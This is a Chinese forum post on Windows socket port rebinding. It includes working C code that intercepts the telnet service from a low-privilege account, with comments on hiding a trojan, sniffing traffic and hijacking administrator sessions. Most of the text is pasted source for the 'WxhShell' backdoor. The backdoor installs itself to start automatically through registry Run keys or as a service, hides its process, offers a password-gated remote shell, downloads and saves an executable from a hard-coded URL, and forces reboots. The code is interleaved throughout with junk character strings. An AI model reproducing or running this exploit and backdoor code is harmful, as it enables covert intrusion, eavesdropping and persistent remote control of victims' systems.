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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _^ CQ*+F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P@! Q1pr  
F| ,Vw{  
  saddr.sin_family = AF_INET; ;ZE<6;#3IP  
^G7n#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]`CKQ> o  
b6?Xo/lJ.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eJVOVPg<,  
Z7KB?1{G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b& _i/n(  
~PH1|h6  
  这意味着什么?意味着可以进行如下的攻击: E:dT_x<Y  
#Kb)>gzT  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 I2Or& _  
7DHT)9lD/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qI4R`P"  
}{w_>!ee  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D/!eov4"  
$J;=Ux)$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W:;`  
2\iD;Z#gM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v0H>iKh7  
1VPN#Q!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tg{dIh.Q~O  
u}@% 70A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c-3YSrY  
-V<=`e  
  #include =vqE=:X6  
  #include &s6(3k  
  #include :+Z>nHe  
  #include    8' g*}[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oe_[h]Hgl  
  int main() /o06hy  
  { LXLIos55S  
  WORD wVersionRequested; EA@$^e[  
  DWORD ret; GzZ|T7fm  
  WSADATA wsaData; (Ss77~W7  
  BOOL val; f!R^;'a  
  SOCKADDR_IN saddr; f6_|dvY3  
  SOCKADDR_IN scaddr; cwD*>[j  
  int err; t%YX-@  
  SOCKET s; /Geks/  
  SOCKET sc; Qmc;s{-r;  
  int caddsize; .Mft+,"  
  HANDLE mt; `\u),$  
  DWORD tid;   [{!j9E?(  
  wVersionRequested = MAKEWORD( 2, 2 ); $E@.G1T [  
  err = WSAStartup( wVersionRequested, &wsaData ); - 9<yB  
  if ( err != 0 ) { ,tv9+n@x  
  printf("error!WSAStartup failed!\n"); Ai_|)  
  return -1; q!h*3mNm  
  } )b2E/G@X&  
  saddr.sin_family = AF_INET; yW=hnV{  
   `R=_t]ie  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vi -!E  
>zx50e)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [F-u'h< *l  
  saddr.sin_port = htons(23); M Ut^mu$86  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2D_Vo ])l/  
  { tS/APSY  
  printf("error!socket failed!\n"); SIBIh-L  
  return -1; BHBT=,sI  
  } lo;9sTUHT  
  val = TRUE; wk <~Y 3u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T+`GOFx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O}iKPY8K  
  { {aa,#B] i  
  printf("error!setsockopt failed!\n"); JP% ;rAoJ  
  return -1; )*<d1$aM  
  } g8qAJ4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &l}xBQAL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T7Qd I[K%b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X%\6V;zR#  
8P y_Y>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DdZ_2B2  
  { U,3K6AZA 7  
  ret=GetLastError(); 5}^08Xl  
  printf("error!bind failed!\n"); L5|;VH  
  return -1; SE-, 1p  
  } XK9*,WA9r  
  listen(s,2); yW,#&>]# |  
  while(1) gl{P LLe[}  
  { +q?0A^C>  
  caddsize = sizeof(scaddr); P##(V!YR  
  //接受连接请求 u2m{Yx|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Hw.@Le>  
  if(sc!=INVALID_SOCKET) `,]PM) iC  
  { -#z'A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vh3iu +  
  if(mt==NULL) <yaw9k+P  
  { +A3\Hj&W  
  printf("Thread Creat Failed!\n"); [B;Ek \5W  
  break; M#<fh:>  
  } ZaV66Y>  
  } !_z>w6uR  
  CloseHandle(mt); $<DA[ %pv  
  } Gkvd{G?F  
  closesocket(s); ED_5V@  
  WSACleanup(); e$|)wOwU  
  return 0; (zODV4,5k`  
  }   |y=F ( 6Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) ba:^zO^  
  { (j Q6~1  
  SOCKET ss = (SOCKET)lpParam; e~[z]GLO%  
  SOCKET sc; mP+yjRw  
  unsigned char buf[4096]; *G"#.YvE  
  SOCKADDR_IN saddr; Y-k~ 7{7  
  long num; L. ?dI82c  
  DWORD val; tF1%=&ss  
  DWORD ret; m&c(N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 | (9FV^_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $ aBSr1  
  saddr.sin_family = AF_INET; :u+#:8u  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9rc n*sm  
  saddr.sin_port = htons(23); j@\/]oL^We  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'U Cx^-  
  { UoT}m^ G  
  printf("error!socket failed!\n"); l+qtA~V&2  
  return -1; "< R 2oo)^  
  } |W];v@b\y  
  val = 100; eV}Tx;1|}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) euC,]n.  
  { L uK m  
  ret = GetLastError(); pC Is+1O/  
  return -1; !sWBj'[>  
  } 2{: J1'pC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?2>v5p  
  { hvZR4|k>  
  ret = GetLastError(); |.W;vc<  
  return -1; (19<8a9G  
  } 84cH|j`w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IcA~f@  
  { eZ$1|Sj]j  
  printf("error!socket connect failed!\n"); {-qTU6  
  closesocket(sc); %*}f<k{6  
  closesocket(ss); ?LM'5  
  return -1; ~]+  jn  
  } 8nR,GW\  
  while(1) Vtk|WV?>P+  
  { bUL9*{>G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A2S9h,t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >ON.ftZ i  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >1zzDd_  
  num = recv(ss,buf,4096,0); W}3vY]  
  if(num>0) EOC"a}Cq-  
  send(sc,buf,num,0); f/m6q8!L{  
  else if(num==0) 6GvnyJ{[  
  break; F x8)jBB_  
  num = recv(sc,buf,4096,0); $4,6&dwg  
  if(num>0) I/|n ma/ $  
  send(ss,buf,num,0); }Cf[nGh|B  
  else if(num==0) M lwQ_5O  
  break; h]9^bX__Z  
  } )CQ}LbXZy  
  closesocket(ss); 4N: ;Mo&B  
  closesocket(sc); 5)6%D  
  return 0 ; EV$n>.  
  } j]SkBZgik  
net9K X4\  
h (2k;M^s  
========================================================== uD3_'a  
R0'EoX  
下边附上一个代码,,WXhSHELL }FVX5/.'  
_Oq\YQb v  
========================================================== q5PYc.E([  
7 i/Cax  
#include "stdafx.h" { VO4""m  
iSHl_/I<  
#include <stdio.h> Ymom 0g+ f  
#include <string.h> ls Ch K  
#include <windows.h> W^f#xrq>  
#include <winsock2.h> ]9Hy "#Fz  
#include <winsvc.h> F eLP!oS>  
#include <urlmon.h> RUKSGj_NJ  
cK&oC$[r-  
#pragma comment (lib, "Ws2_32.lib") %\0 Y1!Hw  
#pragma comment (lib, "urlmon.lib") qZe"'"3M  
K2 2Xo<3  
#define MAX_USER   100 // 最大客户端连接数 f'dI"o&^/d  
#define BUF_SOCK   200 // sock buffer 2Fi*)\{  
#define KEY_BUFF   255 // 输入 buffer $!Tw`O  
L8ke*O$  
#define REBOOT     0   // 重启 $'q(Z@  
#define SHUTDOWN   1   // 关机 >.|gmo>b  
E3!twR*Aw  
#define DEF_PORT   5000 // 监听端口 {W]jVh p  
30@ GFaab  
#define REG_LEN     16   // 注册表键长度 Q1z04m1_y[  
#define SVC_LEN     80   // NT服务名长度 S J5kA`  
 s25012  
// 从dll定义API SCij5il%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VzesqVx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5oS\uX|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o6 /?WR9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); / <p HDY  
il~,y8WTU{  
// wxhshell配置信息 jPfoI-  
struct WSCFG { $$a"A(Y  
  int ws_port;         // 监听端口 tF|bxXs Z  
  char ws_passstr[REG_LEN]; // 口令 h.*|4;  
  int ws_autoins;       // 安装标记, 1=yes 0=no (agdgy:#  
  char ws_regname[REG_LEN]; // 注册表键名 bb{+  
  char ws_svcname[REG_LEN]; // 服务名 8{C3ijR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Tx*m p+q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #82B`y<<y/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hlRE\YO&8R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y{KJk'xN5W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -MjRFa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KVuv%?  
0N xaQ`\  
}; (Gcl,IW  
cc[w%jlA#  
// default Wxhshell configuration yWzTHW`)Mr  
struct WSCFG wscfg={DEF_PORT, &>o)7H];  
    "xuhuanlingzhe", :R)IaJ6)  
    1, DI_mF#5q  
    "Wxhshell", amRtFrc|  
    "Wxhshell", W4<}w-AoEp  
            "WxhShell Service", *q RQN+%  
    "Wrsky Windows CmdShell Service", 'g#GUSXfj  
    "Please Input Your Password: ", {% P;O ?  
  1, YdFCYSiS  
  "http://www.wrsky.com/wxhshell.exe", z2V!u\It  
  "Wxhshell.exe" 8/:\iPk0  
    }; Q*I/mUP&f  
"q$M\jK#V  
// 消息定义模块  X_lNnk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nB.p}k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]arP6 iN+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _3hEYeh  
char *msg_ws_ext="\n\rExit."; mIyaoIE|$  
char *msg_ws_end="\n\rQuit."; F<$&G'% H  
char *msg_ws_boot="\n\rReboot..."; am}zOr\  
char *msg_ws_poff="\n\rShutdown..."; $[Fk>d  
char *msg_ws_down="\n\rSave to "; +"!IVHY  
;>~iCF k]?  
char *msg_ws_err="\n\rErr!"; .eE5pyw+C  
char *msg_ws_ok="\n\rOK!"; $)U RY~;i  
gnQd#`  
char ExeFile[MAX_PATH]; STI8[e7{  
int nUser = 0; >2a~hW|,  
HANDLE handles[MAX_USER]; Sz =z TPnO  
int OsIsNt; <*[(t;i  
%X3T<3<  
SERVICE_STATUS       serviceStatus; D<MtLwH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &b_duWs  
"k.<"pf  
// 函数声明 jzQgD ed ]  
int Install(void); 1n^xVk-G  
int Uninstall(void); ~L2Fo~fw  
int DownloadFile(char *sURL, SOCKET wsh); `6zoZM7?Y  
int Boot(int flag); Jps!,Mflc  
void HideProc(void); i |t$sBIh  
int GetOsVer(void); q45n.A6a  
int Wxhshell(SOCKET wsl); z8o Sh t`+  
void TalkWithClient(void *cs); ;.iy{&$  
int CmdShell(SOCKET sock); 5q\]]LV>  
int StartFromService(void); TtzB[F  
int StartWxhshell(LPSTR lpCmdLine); [Y[|:_+5  
fA8 ,wy|>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?g 3sv5\u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); COap*  
'G&w[8mqY  
// 数据结构和表定义 K&/W cuP &  
SERVICE_TABLE_ENTRY DispatchTable[] = b{A#P?  
{ =#W6+=YN8  
{wscfg.ws_svcname, NTServiceMain}, v"j7},P@  
{NULL, NULL} L(.5:&Y=`  
}; k20tn ew  
|K]tJi4fz  
// 自我安装 dQ<EDtap  
int Install(void) l{<@[foc  
{ u!O)\m-  
  char svExeFile[MAX_PATH]; +:b| I'S  
  HKEY key; r_QWt1K  
  strcpy(svExeFile,ExeFile); ~sOAm  
q N>j2~  
// 如果是win9x系统,修改注册表设为自启动 *p"%cas  
if(!OsIsNt) { % 74}H8q_z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k3&Wv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \n}cx~j  
  RegCloseKey(key); [,VD^\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |g~.]2az  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nkxVc  
  RegCloseKey(key); zJPzI{-w|  
  return 0; \QVL%,.%M  
    } 8{AzB8xp  
  } 'Ag?#vB  
} G=DRz F  
else { 8IO4>CMkv  
HM`;%0T0(  
// 如果是NT以上系统,安装为系统服务 2gA6$s7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _T1|_9b  
if (schSCManager!=0) &Mol8=V)  
{ q:fkF^>  
  SC_HANDLE schService = CreateService 8q_nOGd  
  ( `On%1%k8  
  schSCManager, :V&#Oo  
  wscfg.ws_svcname, -LUKYGBK  
  wscfg.ws_svcdisp, /)j:Y:5  
  SERVICE_ALL_ACCESS, {a(TT)d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $. Ih-  
  SERVICE_AUTO_START, eKt~pzXwm  
  SERVICE_ERROR_NORMAL,  [5H#ay  
  svExeFile, m}rUc29cS,  
  NULL, XOU 9r(  
  NULL, 4h-tR  
  NULL, {D$+~ lO  
  NULL, 8RB\P:6h  
  NULL Bx)4BPaN  
  ); opd^|xx0  
  if (schService!=0) ?e0ljx;  
  { F&^u1RYz  
  CloseServiceHandle(schService); vLq_l4l  
  CloseServiceHandle(schSCManager); (<|,LagTuc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3:s!0ty"  
  strcat(svExeFile,wscfg.ws_svcname); G22u+ua  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'vBuQinn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o^mW`g8[  
  RegCloseKey(key); #>}cuC@  
  return 0; t~3!| @3i  
    } `$05+UU  
  } H+` Zp  
  CloseServiceHandle(schSCManager); u{J$]%C   
} ?g}G#j  
} &=~Jw5WK  
f-^JI*hj  
return 1; _vm~yKId  
} p[>! ;qI  
}Ge$?ZFH  
// 自我卸载  (cx Q<5  
int Uninstall(void) tw,uV)xm  
{ FG/1!8F  
  HKEY key; ka0MuQ M  
uWkW T.>$  
if(!OsIsNt) { XU_gvz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f["c,,[  
  RegDeleteValue(key,wscfg.ws_regname); ^? }-x  
  RegCloseKey(key); 1N,</<"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qx|~H'UuBN  
  RegDeleteValue(key,wscfg.ws_regname); \(C6|-:GY  
  RegCloseKey(key); UyENzK<%u  
  return 0; MR}=tO  
  } ~7ZWtg;B  
} x.8fxogz  
} ew?4;  
else { "Doz~R\\  
1R-WJph  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7_HFQT1.N  
if (schSCManager!=0) ^VOFkUp)  
{ evjj~xkte  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sFt"2TVr3  
  if (schService!=0) l|v`B6(  
  { S"H djEF7\  
  if(DeleteService(schService)!=0) { I'}&s|6  
  CloseServiceHandle(schService); JV ydTvc  
  CloseServiceHandle(schSCManager); Q`kV| pjg  
  return 0; ~bf4_5  
  } H%pD9'q~  
  CloseServiceHandle(schService); 2{|Z?3FJ^  
  } SMo nJ;Y  
  CloseServiceHandle(schSCManager); i]9C"Kw$L  
} {^8?fJ/L  
} >jz9o9?8  
*+(rQ";x  
return 1; %tB7 &%ut  
} Y O&@  
]n}aePl}oU  
// 从指定url下载文件 SP.k]@P  
int DownloadFile(char *sURL, SOCKET wsh) 0RgE~x!hI  
{ F_G .$a Cc  
  HRESULT hr; fJOw E g|  
char seps[]= "/"; b+1!qNuCW#  
char *token; 6%it`A8}  
char *file; :CLWmMC_  
char myURL[MAX_PATH]; bb  M^J  
char myFILE[MAX_PATH]; dIW@L  
;6:9EEd  
strcpy(myURL,sURL); `J] e.K  
  token=strtok(myURL,seps); u8.F_'`z  
  while(token!=NULL) ;*QK^#  
  { y 4U|~\]  
    file=token; > a;iX.K  
  token=strtok(NULL,seps); zzK<>@c  
  } F/x2}'  
4O<sE@X  
GetCurrentDirectory(MAX_PATH,myFILE); R:4@a ':H  
strcat(myFILE, "\\"); ]"}BqS0  
strcat(myFILE, file); hjyM xg;Q?  
  send(wsh,myFILE,strlen(myFILE),0); 3^[P  
send(wsh,"...",3,0); =^1jVaAL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EQN)y27poW  
  if(hr==S_OK) tk]D)+{u&c  
return 0; i\<S ;  
else auga`*  
return 1; Sl/]1[|mb  
u@1 2:U$  
} 9 ,:#Q<UM  
k@ <dru  
// 系统电源模块 -L +kt_>  
int Boot(int flag) vJxE F&X  
{ w? >f:2(=[  
  HANDLE hToken; ~| b\1SR  
  TOKEN_PRIVILEGES tkp; C$q};7b1N  
!( >U3N  
  if(OsIsNt) { LaO8)lqR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a*-9n-U@[k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (<YBvpt4>  
    tkp.PrivilegeCount = 1; EsGf+-}|!0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L&c & <+0T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?z`={oN  
if(flag==REBOOT) { ~Oa$rqu%m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eZEk$W%  
  return 0; fX]`vjM{  
} u?" ="-^  
else { e8rZP(g&g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cI P.5)Ca  
  return 0; /v^ '5j1o  
} h;,1BpbM  
  } f-3CDUQ`  
  else { 6#7hMQ0&;O  
if(flag==REBOOT) { H1f='k]SZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w i[9RD@  
  return 0; i,h30J  
} ULqI]k(  
else { G&xtL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pr1q X5>=  
  return 0; _aR{B-E  
} vo f8bQ{&  
} 23P&n(.  
+l^tT&s;f  
return 1; 5CZyA`3V^5  
} ele@xl  
<Xl#}6II  
// win9x进程隐藏模块 %ggf|\ -e  
void HideProc(void) P&sWn?q Ol  
{ )w0x{_  
+!0K]$VZs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0S^&A?$=  
  if ( hKernel != NULL ) qmFG  
  { kL%ot<rt)w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Wc5r#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .6P.r}  
    FreeLibrary(hKernel); YZ5,K6u  
  } `mzlOB  
`0\Z*^>  
return; ZA+dtEE=f9  
} uG^CyM>R`  
^#d\HI  
// 获取操作系统版本 i+h*<){X  
int GetOsVer(void) iI{L>  
{ < mQXS87  
  OSVERSIONINFO winfo; LP6 p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UB.1xcI  
  GetVersionEx(&winfo); UxL*I[z5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5X20/+aT  
  return 1; :ZM9lBYh  
  else 3Rc*vVnI  
  return 0; )[ A-d(y=  
} (iX8YP$%  
!gve]>M  
// 客户端句柄模块 &cL1 EQ(  
int Wxhshell(SOCKET wsl) z~#;[bER  
{ qtExd~E  
  SOCKET wsh; C< 9x\JY%  
  struct sockaddr_in client; 2 ^m}5:0  
  DWORD myID; T9 /;$6s*  
cc|W1,q  
  while(nUser<MAX_USER) 5E\.YqdV  
{ "iA0hA  
  int nSize=sizeof(client); 3]l)uoNt/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~ubvdQEW  
  if(wsh==INVALID_SOCKET) return 1; 1Ng+mT  
>\d&LLAe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oT-gZedW(  
if(handles[nUser]==0) |Y>Jf~SN  
  closesocket(wsh); 7q+D}+ Xf  
else 1(gs({  
  nUser++; 7v*gwBH  
  } ZeP=}0TGjn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zY*9M3(X  
QselW]  
  return 0; j|t=%*  
} 3[ xdls  
ECOJ .^  
// 关闭 socket &eHRn_st5b  
void CloseIt(SOCKET wsh) H)Btm  
{ E`.xu>Yyj  
closesocket(wsh); s*k)h,\  
nUser--; j6GIB_  
ExitThread(0); a_RY Yj  
} V`y^m@U!  
VHxBs  
// 客户端请求句柄 ^.6[vmmq  
void TalkWithClient(void *cs) JM3[ yNSN@  
{ B?! L~J@p  
6Ijt2c'A}  
  SOCKET wsh=(SOCKET)cs; t3@+idEb  
  char pwd[SVC_LEN]; CRK%^3g  
  char cmd[KEY_BUFF]; ^ Oh  
char chr[1]; k7^hc th  
int i,j; 0 0N[ : %  
.xN<<+|_v'  
  while (nUser < MAX_USER) { X`.##S KC  
{y9G "  
if(wscfg.ws_passstr) { =rA?,74  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4!IuTPmr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nGH6D2!F  
  //ZeroMemory(pwd,KEY_BUFF); N&HI)X2&  
      i=0; &DLWlMGq  
  while(i<SVC_LEN) { dHy9 wU  
aKDY_ D  
  // 设置超时 7?*+,Fo#  
  fd_set FdRead; i g(O$y  
  struct timeval TimeOut; Vu3DP+u|i  
  FD_ZERO(&FdRead); UzxL" `^7  
  FD_SET(wsh,&FdRead); YzESV Th  
  TimeOut.tv_sec=8; p F{jIXu  
  TimeOut.tv_usec=0; rYb5#aT[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |J-X3`^\H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .9bi%=hP  
#L*\^ c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lc{AB!Br  
  pwd=chr[0]; A NhqS  
  if(chr[0]==0xd || chr[0]==0xa) { iXDG-_K  
  pwd=0; Anz{u$0M[  
  break; qYK^S4L  
  } MgXZN{  
  i++; o701RG ~)  
    } csy6_q(  
MTu\T  
  // 如果是非法用户,关闭 socket 8ymdg\I+L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BJjic%V  
} ,"EaZ/Bl/  
2lTt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }J#HIE\RG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T#ls2UL*xh  
X q?>a+B  
while(1) { B!wN%> U  
8,U~ p<Gz  
  ZeroMemory(cmd,KEY_BUFF); Db|f"3rq?  
$e\s8$EO  
      // 自动支持客户端 telnet标准   bo\ bs1  
  j=0; 76l. {TXF  
  while(j<KEY_BUFF) { EpS/"adI-!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =-r"@2HBq  
  cmd[j]=chr[0]; if*V-$[I  
  if(chr[0]==0xa || chr[0]==0xd) { G"/;Cq=t  
  cmd[j]=0; K2xB%m1LK  
  break; H8eEBMGo  
  } L^JU{\C  
  j++; QLJ\>  
    } ]64Pk9z=  
YK/? mj1x  
  // 下载文件 Qc7*p]E&  
  if(strstr(cmd,"http://")) { [+\He/M6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2j-l<!s  
  if(DownloadFile(cmd,wsh)) $MR1 *_\V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pr<u 5  
  else Cj= R\@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Hw%@]#  
  } RdX+:!lD  
  else { tK3$,9+  
> "hP  
    switch(cmd[0]) { Ti? "Hr<W  
  HZ9>4G3  
  // 帮助 {y"Kn'1  
  case '?': { JLd%rM\m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nE]rPRU}[  
    break; YuhfPa  
  } n*\o. :f  
  // 安装 R>bg3j  
  case 'i': { mnA_$W3~I  
    if(Install()) S)EF&S(TC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <V^o.4mOg>  
    else HM% +Y47a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U^_\V BAk  
    break; bc(MN8b]j  
    } ?8O5%IrJ  
  // 卸载 g:!U,<C^a  
  case 'r': { (-S^L'v62v  
    if(Uninstall()) <-1:o*8:}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ja9u?UbW  
    else ]!TE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bPTtA;u  
    break; dk7x<$h-h0  
    } 2bCfY\k  
  // 显示 wxhshell 所在路径 PJK:LZw  
  case 'p': { KH2]:&6:Q  
    char svExeFile[MAX_PATH]; 6w%n$tiX  
    strcpy(svExeFile,"\n\r"); wqG#jC!5  
      strcat(svExeFile,ExeFile); &k'<xW?x  
        send(wsh,svExeFile,strlen(svExeFile),0); ,u}wW*?,sT  
    break; + E{[j  
    } ozY$}|sjDT  
  // 重启 H^'%$F?Ss  
  case 'b': { G ]h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &$XTe2  
    if(Boot(REBOOT)) ? l~qb]._  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Quep-:fy<  
    else { #H6YI3 `G  
    closesocket(wsh); )xVf3l pQ  
    ExitThread(0); lW"0fZ_x'E  
    } ~C{:G;Iy0  
    break; VP!4Nob  
    } ,#XXwm ^I  
